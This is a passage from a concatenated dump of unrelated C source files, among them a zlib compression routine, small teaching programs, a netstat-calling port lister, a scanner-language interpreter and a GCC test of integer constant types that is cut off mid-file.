DPM_USER_Settings[USBPD_PORT_1].DPM_SNKRequestedPower.MaxOperatingVoltageInmVunits);
GUI_CHECK_CURRENT_MAX(_max_current,
DPM_USER_Settings[USBPD_PORT_1].DPM_SNKRequestedPower.MaxOperatingCurrentInmAunits);
_max_power = (_max_voltage * _max_current) / 1000;
GUI_CHECK_POWER_MAX(_max_power, DPM_USER_Settings[USBPD_PORT_1].DPM_SNKRequestedPower.MaxOperatingPowerInmWunits);
}
#endif /* USBPD_PORT_COUNT==2 */
#endif /* _SNK) || _DRP */
/**
* @}
*/
/**
* @}
*/
#endif /* _GUI_INTERFACE */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/225142847.c | /* $cat demoptr3.c */
#include <stdio.h>
char *p,c;
int i;
void main(void)
{
p = "ABCDEFGHIJKLMNO";
c = *(p+2); /* c contient le caractère 'C'. */
i = *(((int *) p) + 1);
printf("sizeof(int*) = %ld\n", sizeof(int*));
printf("sizeof(int) = %ld\n", sizeof(int));
printf("i = %x\n", i);
}
|
the_stack_data/181393406.c | #include <stdio.h>
#include <stdlib.h>
#include <locale.h>
#include <math.h>
#include <string.h>
int main()
{
setlocale(LC_ALL, "");
int a, b, c, i, contador = 0;
int notas[7] = {2, 5, 10, 20, 50, 100};
while (scanf("%d %d", &a, &b) && (a && b) > 0)
{
contador = 0;
c = b - a;
for (i = 5; i >= 0; i--)
{
if (c >= notas[i])
{
c = c - notas[i];
contador = contador + 1;
}
if (contador == 2)
{
break;
}
}
if (c == 0 && contador == 2)
{
printf("possible\n");
}
else
{
printf("impossible\n");
}
}
//printf("%d\n", c);
return 0;
} |
the_stack_data/129860.c | /* compress.c -- compress a memory buffer
* Copyright (C) 1995-2003 Jean-loup Gailly.
* For conditions of distribution and use, see copyright notice in zlib.h
*/
/* @(#) $Id$ */
#define ZLIB_INTERNAL
#include "zlib.h"
/* ===========================================================================
Compresses the source buffer into the destination buffer. The level
parameter has the same meaning as in deflateInit. sourceLen is the byte
length of the source buffer. Upon entry, destLen is the total size of the
destination buffer, which must be at least 0.1% larger than sourceLen plus
12 bytes. Upon exit, destLen is the actual size of the compressed buffer.
compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_BUF_ERROR if there was not enough room in the output buffer,
Z_STREAM_ERROR if the level parameter is invalid.
*/
int ZEXPORT compress2 (dest, destLen, source, sourceLen, level)
Bytef *dest;
uLongf *destLen;
const Bytef *source;
uLong sourceLen;
int level;
{
z_stream stream;
int err;
stream.next_in = (Bytef*)source;
stream.avail_in = (uInt)sourceLen;
#ifdef MAXSEG_64K
/* Check for source > 64K on 16-bit machine: */
if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR;
#endif
stream.next_out = dest;
stream.avail_out = (uInt)*destLen;
if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR;
stream.zalloc = (alloc_func)0;
stream.zfree = (free_func)0;
stream.opaque = (voidpf)0;
err = deflateInit(&stream, level);
if (err != Z_OK) return err;
err = deflate(&stream, Z_FINISH);
if (err != Z_STREAM_END) {
deflateEnd(&stream);
return err == Z_OK ? Z_BUF_ERROR : err;
}
*destLen = stream.total_out;
err = deflateEnd(&stream);
return err;
}
/* ===========================================================================
*/
int ZEXPORT compress (dest, destLen, source, sourceLen)
Bytef *dest;
uLongf *destLen;
const Bytef *source;
uLong sourceLen;
{
return compress2(dest, destLen, source, sourceLen, Z_DEFAULT_COMPRESSION);
}
/* ===========================================================================
If the default memLevel or windowBits for deflateInit() is changed, then
this function needs to be updated.
*/
uLong ZEXPORT compressBound (sourceLen)
uLong sourceLen;
{
return sourceLen + (sourceLen >> 12) + (sourceLen >> 14) + 11;
}
|
the_stack_data/167329484.c | // Executando comandos
#include <stdio.h>
#include <stdlib.h>
int main(void){
printf("Portas TCP abertas: \n");
system("netstat -nlpt");
return 0;
} |
the_stack_data/93888355.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#define rdtscl(val) asm volatile ("rdtsc" : "=A" (val) : : );
void old_str_append(char *base, const char *app);
void new_str_append(char *base, const char *app);
void asm_str_append(char *base, const char *app);
void old_str_append(char *base, const char *app)
{
base += strlen(base);
strcpy(base, app);
}
void new_str_append(char *base, const char *app)
{
int len = 0;
while (*base)
base++;
while (*app)
*base++ = *app++;
}
void test_append(char *_base, const char *app)
{
char *o1 = malloc(128);
char *o2 = malloc(128);
char *o3 = malloc(128);
strcpy(o1, _base);
strcpy(o2, _base);
strcpy(o3, _base);
uint64_t t1, t2;
rdtscl(t1);
old_str_append(o1, app);
rdtscl(t2);
printf("old - (%5llu cycles) %s\n", (long long unsigned int)t2 - t1, o1);
rdtscl(t1);
new_str_append(o2, app);
rdtscl(t2);
printf("new - (%5llu cycles) %s\n", (long long unsigned int)t2 - t1, o2);
rdtscl(t1);
asm_str_append(o3, app);
rdtscl(t2);
printf("asm - (%5llu cycles) %s\n", (long long unsigned int)t2 - t1, o3);
free(o1);
free(o2);
free(o3);
}
int main (void)
{
printf("\nWorking\n");
test_append("asdf", "asdf");
printf("\nEmpty Start\n");
test_append("", "asdf");
printf("\nEmpty End\n");
test_append("asdf", "");
printf("\nWorking 2\n");
test_append("Hello!", " Hi!");
printf("\nEmbedded Zero\n");
test_append("asdf\0ghjk", "qwerty");
}
|
the_stack_data/181391955.c | #include<stdio.h>
int main()
{
printf("hi");
return 0;
}
|
the_stack_data/49793.c | // Snipe language interpreter. Free and open source. See licence.txt.
// Read in a compiled language description and execute it for testing. Type
//
// ./interpret [-t] c
//
// to read in c/table.bin and execute tests c/tests.txt where -t means trace.
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <ctype.h>
#include <assert.h>
// Big is the limit on the number of patterns. Small is the limit on other
// arrays, allowing them to be indexed by char.
enum { BIG = 1000, SMALL = 128 };
// The state machine transition table contains actions consisting of a tag and
// state index.
struct action { unsigned char tag, target; };
typedef struct action action;
// A tag represents a token type, or SKIP to miss out that table entry or MORE
// to add to the current token. Each byte of text read in is labelled with a tag
// which represents the token type, or SKIP for a continuation byte of the
// current character (or grapheme) or MORE for a continuation character of the
// current token. Spaces are tagged with GAP, and newlines with NEWLINE.
enum { SKIP = '~', MORE = '-', GAP = '_', NEWLINE = '.' };
// A scanner consists of a current state, current input position, current
// position in the tags, current start of token position in the tags, the array
// of state names, the array of actions for each state, the array of indexes of
// the patterns starting with each character, the array of pattern strings, and
// a reference to the whole of the data read in from the file.
struct scanner {
int state;
char *input;
char *tags;
char *token;
char *states[SMALL];
action *actions[SMALL];
short indexes[SMALL];
char *patterns[BIG];
char *data;
};
typedef struct scanner scanner;
// Crash with a message.
void crash(char *s) {
fprintf(stderr, "%s\n", s);
exit(1);
}
// ---------- Read in data -----------------------------------------------------
// Read in a text or binary file. Add a final newline and null in case text.
char *readFile(char *path) {
FILE *file = fopen(path, "rb");
if (file == NULL) crash("Error: can't read file");
fseek(file, 0, SEEK_END);
int size = ftell(file);
fseek(file, 0, SEEK_SET);
if (size < 0) crash("Error: can't find file size");
char *data = malloc(size+2);
int n = fread(data, 1, size, file);
if (n != size) { free(data); fclose(file); crash("Error: read failed"); }
data[n] = '\n';
data[n+1] = '\0';
fclose(file);
return data;
}
// Read the transition table from a file to form a scanner. The file contains
// the names of the states, a null, the pattern strings, a null, and a table of
// actions indexed by state and pattern.
void readScanner(char *path, scanner *sc) {
char *d = readFile(path);
sc->data = d;
int p = 0, nstates = 0, npatterns = 0;
while (d[p] != 0) {
sc->states[nstates++] = &d[p];
while (d[p] != '\0') p++;
p++;
}
p++;
while (d[p] != 0) {
sc->patterns[npatterns++] = &d[p];
while (d[p] != '\0') p++;
p++;
}
p++;
int i = 0;
for (int ch = 0; ch < SMALL; ch++) {
sc->indexes[ch] = i;
while (i < npatterns && sc->patterns[i][0] == ch) i++;
}
for (int s = 0; s < nstates; s++) {
sc->actions[s] = (action *) &d[p + s * npatterns * sizeof(action)];
}
printf("%d states, %d patterns\n", nstates, npatterns);
}
// --------- Scan --------------------------------------------------------------
// Match a string with a pattern. Return the length of the pattern, or 0 if
// there is no match.
static inline int match(char *s, char *p) {
int i;
// printf("match %s %s\n", s, p);
for (i = 0; p[i] != '\0'; i++) if (s[i] != p[i]) return 0;
return i;
}
// Print out a trace of a scan step, in the style of the original rules, with
// \n and \s for newline and space.
static void trace(scanner *sc, int base, char *p, int target, char tag) {
bool lookahead = (tag & 0x80) != 0;
tag = tag & 0x7F;
if (lookahead) printf("%c ", tag);
printf("%s ", sc->states[base]);
if (p[0] == '\n') printf("\\n ");
else if (p[0] == ' ') printf("\\s ");
else printf("%s ", p);
printf("%s", sc->states[target]);
if (! lookahead) printf(" %c", tag);
printf("\n");
}
// Skip spaces and newlines. Search for a match, but ignore non-lookahead
// actions. Return the pattern index or -1 for a failed search (on finding
// a singleton pattern).
static int lookahead(scanner *sc) {
action *actions = sc->actions[sc->state];
char *input = sc->input;
while (input[0] == ' ' || input[0] == '\n') input++;
int ch = input[0];
if (ch == '\0') return -1;
int index = sc->indexes[ch];
int len = 0;
char *p;
while (len == 0) {
p = sc->patterns[index];
int tag = actions[index].tag;
// printf("la %d %s %d\n", index, p, tag);
if (tag != SKIP && (tag & 0x80) != 0) len = match(input, p);
if (len == 0) {
if (p[1] == '\0') return -1;
index++;
}
}
return index;
}
// Do a normal search for a match (for a non-lookahead action, or a lookahead
// action with no intervening spaces - should never fail). If not a lookahead,
// move forward in the input. Return the pattern index.
static int search(scanner *sc) {
action *actions = sc->actions[sc->state];
int ch = sc->input[0];
int index = sc->indexes[ch];
int len = 0;
char *p;
while (len == 0) {
p = sc->patterns[index];
if (actions[index].tag != SKIP) len = match(sc->input, p);
if (len == 0) {
if (p[1] == '\0') crash("Bug: no pattern match found");
index++;
}
}
if ((actions[index].tag & 0x80) == 0) for (int i = 0; i < len; i++) {
*sc->tags++ = MORE;
sc->input++;
}
return index;
}
// Given a state and the current position in the input, find the pattern that
// matches (which should never fail) and mark the matched characters with MORE.
// Update the state and input position. If white space is next in the input, and
// the action is a lookahead, skip forwards to the next token and check for any
// explicit lookahead rule which applies.
static void step(scanner *sc, bool tracing) {
bool gap = sc->input[0] == ' ' || sc->input[0] == '\n';
int index = search(sc);
action *actions = sc->actions[sc->state];
int tag = actions[index].tag;
int target = actions[index].target;
if (gap) {
int index2 = lookahead(sc);
if (index2 >= 0) {
index = index2;
tag = actions[index].tag;
target = actions[index].target;
}
}
if (tracing) trace(sc, sc->state, sc->patterns[index], target, tag);
tag = tag & 0x7F;
if (tag != MORE) {
sc->token[0] = tag;
sc->token = sc->tags;
}
sc->state = target;
}
// ---------- Testing ----------------------------------------------------------
// Scan a line, tagging each byte in the tags array, stopping after \n.
void scan(scanner *sc, char *line, char *tags, bool tracing) {
sc->state = 0;
sc->input = line;
sc->tags = tags;
sc->token = tags;
while (sc->input[0] != '\0') step(sc, tracing);
}
// Split the text into a list of lines, replacing each newline by a null.
// Skip blank lines or lines starting with two symbols.
char **splitLines(char *text) {
int nlines = 0;
for (int i = 0; text[i] != '\0'; i++) if (text[i] == '\n') nlines++;
char **lines = malloc((nlines + 2) * sizeof(char *));
int p = 0, row = 0;
for (int i = 0; text[i] != '\0'; i++) {
if (text[i] != '\n') continue;
text[i]= '\0';
if (text[p] != '\0' && (isalnum(text[p]) || isalnum(text[p+1]))) {
lines[row++] = &text[p];
}
p = i + 1;
}
lines[row++] = NULL;
lines[row] = NULL;
return lines;
}
// Run a test from the test file.
void runTest(scanner *sc, char *line, char *expected, bool tracing) {
char actual[100];
scan(sc, line, actual, tracing);
int n = strlen(line);
actual[n] = '\0';
if (strcmp(actual, expected) == 0) return;
fprintf(stderr, "Error:\n");
fprintf(stderr, "%s", line);
fprintf(stderr, "%s (expected)\n", expected);
fprintf(stderr, "%s (actual)\n", actual);
exit(1);
}
// Run the tests from the test file.
int runTests(scanner *sc, char *tests, bool tracing) {
char line[100];
char tags[100];
int passes = 0;
char **lines = splitLines(tests);
for (int i = 0; lines[i] != NULL && lines[i+1] != NULL; i = i + 2) {
strcpy(line, lines[i]);
strcat(line, "\n");
strcpy(tags, lines[i+1]);
runTest(sc, line, tags, tracing);
passes++;
}
free(lines);
return passes;
}
int main(int n, char const *args[n]) {
char const *lang;
bool tracing = n > 2;
if (n == 2) lang = args[1];
else if (n == 3 && strcmp(args[1], "-t") == 0) lang = args[2];
else if (n == 3 && strcmp(args[2], "-t") == 0) lang = args[1];
else crash("Use: ./interpret [-t] lang\n"
"to read lang/table.bin and run tests from lang/tests.txt");
char path[100];
sprintf(path, "%s/table.bin", lang);
scanner *sc = malloc(sizeof(scanner));
readScanner(path, sc);
sprintf(path, "%s/tests.txt", lang);
char *tests = readFile(path);
runTests(sc, tests, tracing);
free(tests);
free(sc->data);
free(sc);
return 0;
}
|
the_stack_data/141222.c | /* Test for integer constant types. */
/* Origin: Joseph Myers <[email protected]>. */
/* { dg-do compile } */
/* { dg-options "-std=iso9899:1990 -pedantic-errors" } */
#include <limits.h>
/* Assertion that constant C is of type T. */
#define ASSERT_CONST_TYPE(C, T) \
do { \
typedef T type; \
typedef type **typepp; \
typedef __typeof__((C)) ctype; \
typedef ctype **ctypepp; \
typepp x = 0; \
ctypepp y = 0; \
x = y; \
y = x; \
} while (0)
/* (T *) if E is zero, (void *) otherwise. */
#define type_if_not(T, E) __typeof__(0 ? (T *)0 : (void *)(E))
/* (T *) if E is nonzero, (void *) otherwise. */
#define type_if(T, E) type_if_not(T, !(E))
/* Combine pointer types, all but one (void *). */
#define type_comb2(T1, T2) __typeof__(0 ? (T1)0 : (T2)0)
#define type_comb3(T1, T2, T3) type_comb2(T1, type_comb2(T2, T3))
#define type_comb4(T1, T2, T3, T4) \
type_comb2(T1, type_comb2(T2, type_comb2(T3, T4)))
/* (T1 *) if E1, otherwise (T2 *) if E2. */
#define first_of2p(T1, E1, T2, E2) type_comb2(type_if(T1, (E1)), \
type_if(T2, (!(E1) && (E2))))
/* (T1 *) if E1, otherwise (T2 *) if E2, otherwise (T3 *) if E3. */
#define first_of3p(T1, E1, T2, E2, T3, E3) \
type_comb3(type_if(T1, (E1)), \
type_if(T2, (!(E1) && (E2))), \
type_if(T3, (!(E1) && !(E2) && (E3))))
/* (T1 *) if E1, otherwise (T2 *) if E2, otherwise (T3 *) if E3, otherwise
(T4 *) if E4. */
#define first_of4p(T1, E1, T2, E2, T3, E3, T4, E4) \
type_comb4(type_if(T1, (E1)), \
type_if(T2, (!(E1) && (E2))), \
type_if(T3, (!(E1) && !(E2) && (E3))), \
type_if(T4, (!(E1) && !(E2) && !(E3) && (E4))))
/* Likewise, but return the original type rather than a pointer type. */
#define first_of2(T1, E1, T2, E2) \
__typeof__(*((first_of2p(T1, (E1), T2, (E2)))0))
#define first_of3(T1, E1, T2, E2, T3, E3) \
__typeof__(*((first_of3p(T1, (E1), T2, (E2), T3, (E3)))0))
#define first_of4(T1, E1, T2, E2, T3, E3, T4, E4) \
__typeof__(*((first_of4p(T1, (E1), T2, (E2), T3, (E3), T4, (E4)))0))
/* Types of constants according to the C90 rules. */
#define C90_UNSUF_DEC_TYPE(C) \
first_of3(int, (C) <= INT_MAX, \
long int, (C) <= LONG_MAX, \
unsigned long int, (C) <= ULONG_MAX)
#define C90_UNSUF_OCTHEX_TYPE(C) \
first_of4(int, (C) <= INT_MAX, \
unsigned int, (C) <= UINT_MAX, \
long int, (C) <= LONG_MAX, \
unsigned long int, (C) <= ULONG_MAX)
#define C90_SUFu_TYPE(C) \
first_of2(unsigned int, (C) <= UINT_MAX, \
unsigned long int, (C) <= ULONG_MAX)
#define C90_SUFl_TYPE(C) \
first_of2(long int, (C) <= LONG_MAX, \
unsigned long int, (C) <= ULONG_MAX)
/* Checks that constants have correct type. */
#define CHECK_UNSUF_DEC_TYPE(C) ASSERT_CONST_TYPE((C), C90_UNSUF_DEC_TYPE((C)))
#define CHECK_UNSUF_OCTHEX_TYPE(C) \
ASSERT_CONST_TYPE((C), C90_UNSUF_OCTHEX_TYPE((C)))
#define CHECK_SUFu_TYPE(C) ASSERT_CONST_TYPE((C), C90_SUFu_TYPE((C)))
#define CHECK_SUFl_TYPE(C) ASSERT_CONST_TYPE((C), C90_SUFl_TYPE((C)))
#define CHECK_SUFul_TYPE(C) ASSERT_CONST_TYPE((C), unsigned long int)
/* Check a decimal value, with all suffixes. */
#define CHECK_DEC_CONST(C) \
CHECK_UNSUF_DEC_TYPE(C); \
CHECK_SUFu_TYPE(C##u); \
CHECK_SUFu_TYPE(C##U); \
CHECK_SUFl_TYPE(C##l); \
CHECK_SUFl_TYPE(C##L); \
CHECK_SUFul_TYPE(C##ul); \
CHECK_SUFul_TYPE(C##uL); \
CHECK_SUFul_TYPE(C##Ul); \
CHECK_SUFul_TYPE(C##UL);
/* Check an octal or hexadecimal value, with all suffixes. */
#define CHECK_OCTHEX_CONST(C) \
CHECK_UNSUF_OCTHEX_TYPE(C); \
CHECK_SUFu_TYPE(C##u); \
CHECK_SUFu_TYPE(C##U); \
CHECK_SUFl_TYPE(C##l); \
CHECK_SUFl_TYPE(C##L); \
CHECK_SUFul_TYPE(C##ul); \
CHECK_SUFul_TYPE(C##uL); \
CHECK_SUFul_TYPE(C##Ul); \
CHECK_SUFul_TYPE(C##UL);
#define CHECK_OCT_CONST(C) CHECK_OCTHEX_CONST(C)
#define CHECK_HEX_CONST(C) \
CHECK_OCTHEX_CONST(0x##C); \
CHECK_OCTHEX_CONST(0X##C);
/* True iff "long" is at least B bits. This presumes that (B-2)/3 is at
most 31. */
#define LONG_AT_LEAST(B) \
(LONG_MAX >> ((B)-2)/3 >> ((B)-2)/3 >> ((B)-2 - ((B)-2)/3 - ((B)-2)/3))
#define LONG_HAS_BITS(B) (LONG_AT_LEAST((B)) && !LONG_AT_LEAST((B) + 1))
/* Decimal values that are large enough to be unsigned. Allow for up to
64 bits in long. */
#if LONG_HAS_BITS(32)
#define LARGE_UNSIGNED_DECIMAL 2147483648
#endif
#if LONG_HAS_BITS(33)
#define LARGE_UNSIGNED_DECIMAL 4294967296
#endif
#if LONG_HAS_BITS(34)
#define LARGE_UNSIGNED_DECIMAL 8589934592
#endif
#if LONG_HAS_BITS(35)
#define LARGE_UNSIGNED_DECIMAL 17179869184
#endif
#if LONG_HAS_BITS(36)
#define LARGE_UNSIGNED_DECIMAL 34359738368
#endif
#if LONG_HAS_BITS(37)
#define LARGE_UNSIGNED_DECIMAL 68719476736
#endif
#if LONG_HAS_BITS(38)
#define LARGE_UNSIGNED_DECIMAL 137438953472
#endif
#if LONG_HAS_BITS(39)
#define LARGE_UNSIGNED_DECIMAL 274877906944
#endif
#if LONG_HAS_BITS(40)
#define LARGE_UNSIGNED_DECIMAL 549755813888
#endif
#if LONG_HAS_BITS(41)
#define LARGE_UNSIGNED_DECIMAL 1099511627776
#endif
#if LONG_HAS_BITS(42)
#define LARGE_UNSIGNED_DECIMAL 2199023255552
#endif
#if LONG_HAS_BITS(43)
#define LARGE_UNSIGNED_DECIMAL 4398046511104
#endif
#if LONG_HAS_BITS(44)
#define LARGE_UNSIGNED_DECIMAL 8796093022208
#endif
#if LONG_HAS_BITS(45)
#define LARGE_UNSIGNED_DECIMAL 17592186044416
#endif
#if LONG_HAS_BITS(46)
#define LARGE_UNSIGNED_DECIMAL 35184372088832
#endif
#if LONG_HAS_BITS(47)
#define LARGE_UNSIGNED_DECIMAL 70368744177664
#endif
#if LONG_HAS_BITS(48)
#define LARGE_UNSIGNED_DECIMAL 140737488355328
#endif
#if LONG_HAS_BITS(49)
#define LARGE_UNSIGNED_DECIMAL 281474976710656
#endif
#if LONG_HAS_BITS(50)
#define LARGE_UNSIGNED_DECIMAL 562949953421312
#endif
#if LONG_HAS_BITS(51)
#define LARGE_UNSIGNED_DECIMAL 1125899906842624
#endif
#if LONG_HAS_BITS(52)
#define LARGE_UNSIGNED_DECIMAL 2251799813685248
#endif
#if LONG_HAS_BITS(53)
#define LARGE_UNSIGNED_DECIMAL 4503599627370496
#endif
#if LONG_HAS_BITS(54)
#define LARGE_UNSIGNED_DECIMAL 9007199254740992
#endif
#if LONG_HAS_BITS(55)
#define LARGE_UNSIGNED_DECIMAL 18014398509481984
#endif
#if LONG_HAS_BITS(56)
#define LARGE_UNSIGNED_DECIMAL 36028797018963968
#endif
#if LONG_HAS_BITS(57)
#define LARGE_UNSIGNED_DECIMAL 72057594037927936
#endif
#if LONG_HAS_BITS(58)
#define LARGE_UNSIGNED_DECIMAL 144115188075855872
#endif
#if LONG_HAS_BITS(59)
#define LARGE_UNSIGNED_DECIMAL 288230376151711744
#endif
#if LONG_HAS_BITS(60)
#define LARGE_UNSIGNED_DECIMAL 576460752303423488
#endif
#if LONG_HAS_BITS(61)
#define LARGE_UNSIGNED_DECIMAL 1152921504606846976
#endif
#if LONG_HAS_BITS(62)
#define LARGE_UNSIGNED_DECIMAL 2305843009213693952
#endif
#if LONG_HAS_BITS(63)
#define LARGE_UNSIGNED_DECIMAL 4611686018427387904
#endif
#if LONG_HAS_BITS(64)
#define LARGE_UNSIGNED_DECIMAL 9223372036854775808
#endif
#if LONG_AT_LEAST(65)
#error "extend this test to allow for long larger than 64 bits"
#endif
#define cat(x, y) x ## y
#define xcat(x, y) cat(x, y)
#define LARGE_UNSIGNED_DECIMALl xcat(LARGE_UNSIGNED_DECIMAL, l)
#define LARGE_UNSIGNED_DECIMALL xcat(LARGE_UNSIGNED_DECIMAL, L)
#define LARGE_UNSIGNED_DECIMALu xcat(LARGE_UNSIGNED_DECIMAL, u)
#define LARGE_UNSIGNED_DECIMALU xcat(LARGE_UNSIGNED_DECIMAL, U)
#define LARGE_UNSIGNED_DECIMALul xcat(LARGE_UNSIGNED_DECIMAL, ul)
#define LARGE_UNSIGNED_DECIMALuL xcat(LARGE_UNSIGNED_DECIMAL, uL)
#define LARGE_UNSIGNED_DECIMALUl xcat(LARGE_UNSIGNED_DECIMAL, Ul)
#define LARGE_UNSIGNED_DECIMALUL xcat(LARGE_UNSIGNED_DECIMAL, UL)
void
foo (void)
{
/* Decimal. */
/* Check all 2^n and 2^n - 1 up to 2^63 - 1. Check values that would be
unsigned separately since they generate a warning. */
CHECK_DEC_CONST(1);
CHECK_DEC_CONST(2);
CHECK_DEC_CONST(3);
CHECK_DEC_CONST(4);
CHECK_DEC_CONST(7);
CHECK_DEC_CONST(8);
CHECK_DEC_CONST(15);
CHECK_DEC_CONST(16);
CHECK_DEC_CONST(31);
CHECK_DEC_CONST(32);
CHECK_DEC_CONST(63);
CHECK_DEC_CONST(64);
CHECK_DEC_CONST(127);
CHECK_DEC_CONST(128);
CHECK_DEC_CONST(255);
CHECK_DEC_CONST(256);
CHECK_DEC_CONST(511);
CHECK_DEC_CONST(512);
CHECK_DEC_CONST(1023);
CHECK_DEC_CONST(1024);
CHECK_DEC_CONST(2047);
CHECK_DEC_CONST(2048);
CHECK_DEC_CONST(4095);
CHECK_DEC_CONST(4096);
CHECK_DEC_CONST(8191);
CHECK_DEC_CONST(8192);
CHECK_DEC_CONST(16383);
CHECK_DEC_CONST(16384);
CHECK_DEC_CONST(32767);
CHECK_DEC_CONST(32768);
CHECK_DEC_CONST(65535);
CHECK_DEC_CONST(65536);
CHECK_DEC_CONST(131071);
CHECK_DEC_CONST(131072);
CHECK_DEC_CONST(262143);
CHECK_DEC_CONST(262144);
CHECK_DEC_CONST(524287);
CHECK_DEC_CONST(524288);
CHECK_DEC_CONST(1048575);
CHECK_DEC_CONST(1048576);
CHECK_DEC_CONST(2097151);
CHECK_DEC_CONST(2097152);
CHECK_DEC_CONST(4194303);
CHECK_DEC_CONST(4194304);
CHECK_DEC_CONST(8388607);
CHECK_DEC_CONST(8388608);
CHECK_DEC_CONST(16777215);
CHECK_DEC_CONST(16777216);
CHECK_DEC_CONST(33554431);
CHECK_DEC_CONST(33554432);
CHECK_DEC_CONST(67108863);
CHECK_DEC_CONST(67108864);
CHECK_DEC_CONST(134217727);
CHECK_DEC_CONST(134217728);
CHECK_DEC_CONST(268435455);
CHECK_DEC_CONST(268435456);
CHECK_DEC_CONST(536870911);
CHECK_DEC_CONST(536870912);
CHECK_DEC_CONST(1073741823);
CHECK_DEC_CONST(1073741824);
CHECK_DEC_CONST(2147483647);
#if LONG_AT_LEAST(33)
CHECK_DEC_CONST(2147483648);
CHECK_DEC_CONST(4294967295);
#endif
#if LONG_AT_LEAST(34)
CHECK_DEC_CONST(4294967296);
CHECK_DEC_CONST(8589934591);
#endif
#if LONG_AT_LEAST(35)
CHECK_DEC_CONST(8589934592);
CHECK_DEC_CONST(17179869183);
#endif
#if LONG_AT_LEAST(36)
CHECK_DEC_CONST(17179869184);
CHECK_DEC_CONST(34359738367);
#endif
#if LONG_AT_LEAST(37)
CHECK_DEC_CONST(34359738368);
CHECK_DEC_CONST(68719476735);
#endif
#if LONG_AT_LEAST(38)
CHECK_DEC_CONST(68719476736);
CHECK_DEC_CONST(137438953471);
#endif
#if LONG_AT_LEAST(39)
CHECK_DEC_CONST(137438953472);
CHECK_DEC_CONST(274877906943);
#endif
#if LONG_AT_LEAST(40)
CHECK_DEC_CONST(274877906944);
CHECK_DEC_CONST(549755813887);
#endif
#if LONG_AT_LEAST(41)
CHECK_DEC_CONST(549755813888);
CHECK_DEC_CONST(1099511627775);
#endif
#if LONG_AT_LEAST(42)
CHECK_DEC_CONST(1099511627776);
CHECK_DEC_CONST(2199023255551);
#endif
#if LONG_AT_LEAST(43)
CHECK_DEC_CONST(2199023255552);
CHECK_DEC_CONST(4398046511103);
#endif
#if LONG_AT_LEAST(44)
CHECK_DEC_CONST(4398046511104);
CHECK_DEC_CONST(8796093022207);
#endif
#if LONG_AT_LEAST(45)
CHECK_DEC_CONST(8796093022208);
CHECK_DEC_CONST(17592186044415);
#endif
#if LONG_AT_LEAST(46)
CHECK_DEC_CONST(17592186044416);
CHECK_DEC_CONST(35184372088831);
#endif
#if LONG_AT_LEAST(47)
CHECK_DEC_CONST(35184372088832);
CHECK_DEC_CONST(70368744177663);
#endif
#if LONG_AT_LEAST(48)
CHECK_DEC_CONST(70368744177664);
CHECK_DEC_CONST(140737488355327);
#endif
#if LONG_AT_LEAST(49)
CHECK_DEC_CONST(140737488355328);
CHECK_DEC_CONST(281474976710655);
#endif
#if LONG_AT_LEAST(50)
CHECK_DEC_CONST(281474976710656);
CHECK_DEC_CONST(562949953421311);
#endif
#if LONG_AT_LEAST(51)
CHECK_DEC_CONST(562949953421312);
CHECK_DEC_CONST(1125899906842623);
#endif
#if LONG_AT_LEAST(52)
CHECK_DEC_CONST(1125899906842624);
CHECK_DEC_CONST(2251799813685247);
#endif
#if LONG_AT_LEAST(53)
CHECK_DEC_CONST(2251799813685248);
CHECK_DEC_CONST(4503599627370495);
#endif
#if LONG_AT_LEAST(54)
CHECK_DEC_CONST(4503599627370496);
CHECK_DEC_CONST(9007199254740991);
#endif
#if LONG_AT_LEAST(55)
CHECK_DEC_CONST(9007199254740992);
CHECK_DEC_CONST(18014398509481983);
#endif
#if LONG_AT_LEAST(56)
CHECK_DEC_CONST(18014398509481984);
CHECK_DEC_CONST(36028797018963967);
#endif
#if LONG_AT_LEAST(57)
CHECK_DEC_CONST(36028797018963968);
CHECK_DEC_CONST(72057594037927935);
#endif
#if LONG_AT_LEAST(58)
CHECK_DEC_CONST(72057594037927936);
CHECK_DEC_CONST(144115188075855871);
#endif
#if LONG_AT_LEAST(59)
CHECK_DEC_CONST(144115188075855872);
CHECK_DEC_CONST(288230376151711743);
#endif
#if LONG_AT_LEAST(60)
CHECK_DEC_CONST(288230376151711744);
CHECK_DEC_CONST(576460752303423487);
#endif
#if LONG_AT_LEAST(61)
CHECK_DEC_CONST(576460752303423488);
CHECK_DEC_CONST(1152921504606846975);
#endif
#if LONG_AT_LEAST(62)
CHECK_DEC_CONST(1152921504606846976);
CHECK_DEC_CONST(2305843009213693951);
#endif
#if LONG_AT_LEAST(63)
CHECK_DEC_CONST(2305843009213693952);
CHECK_DEC_CONST(4611686018427387903);
#endif
#if LONG_AT_LEAST(64)
CHECK_DEC_CONST(4611686018427387904);
CHECK_DEC_CONST(9223372036854775807);
#endif
/* Separate checks for values that are unsigned. */
CHECK_UNSUF_DEC_TYPE(LARGE_UNSIGNED_DECIMAL); /* { dg-warning "unsigned" "unsigned decimal no suffix" } */
CHECK_SUFl_TYPE(LARGE_UNSIGNED_DECIMALl); /* { dg-warning "unsigned" "unsigned decimal long suffix" } */
CHECK_SUFl_TYPE(LARGE_UNSIGNED_DECIMALL); /* { dg-warning "unsigned" "unsigned decimal long suffix" } */
CHECK_SUFu_TYPE(LARGE_UNSIGNED_DECIMALu);
CHECK_SUFu_TYPE(LARGE_UNSIGNED_DECIMALU);
CHECK_SUFul_TYPE(LARGE_UNSIGNED_DECIMALul);
CHECK_SUFul_TYPE(LARGE_UNSIGNED_DECIMALuL);
CHECK_SUFul_TYPE(LARGE_UNSIGNED_DECIMALUl);
CHECK_SUFul_TYPE(LARGE_UNSIGNED_DECIMALUL);
/* Octal and hexadecimal. */
/* Check all 2^n and 2^n - 1 up to 2^64 - 1. */
CHECK_OCT_CONST(0);
CHECK_HEX_CONST(0);
CHECK_OCT_CONST(01);
CHECK_HEX_CONST(1);
CHECK_OCT_CONST(02);
CHECK_HEX_CONST(2);
CHECK_OCT_CONST(03);
CHECK_HEX_CONST(3);
CHECK_OCT_CONST(04);
CHECK_HEX_CONST(4);
CHECK_OCT_CONST(07);
CHECK_HEX_CONST(7);
CHECK_OCT_CONST(010);
CHECK_HEX_CONST(8);
CHECK_OCT_CONST(017);
CHECK_HEX_CONST(f);
CHECK_OCT_CONST(020);
CHECK_HEX_CONST(10);
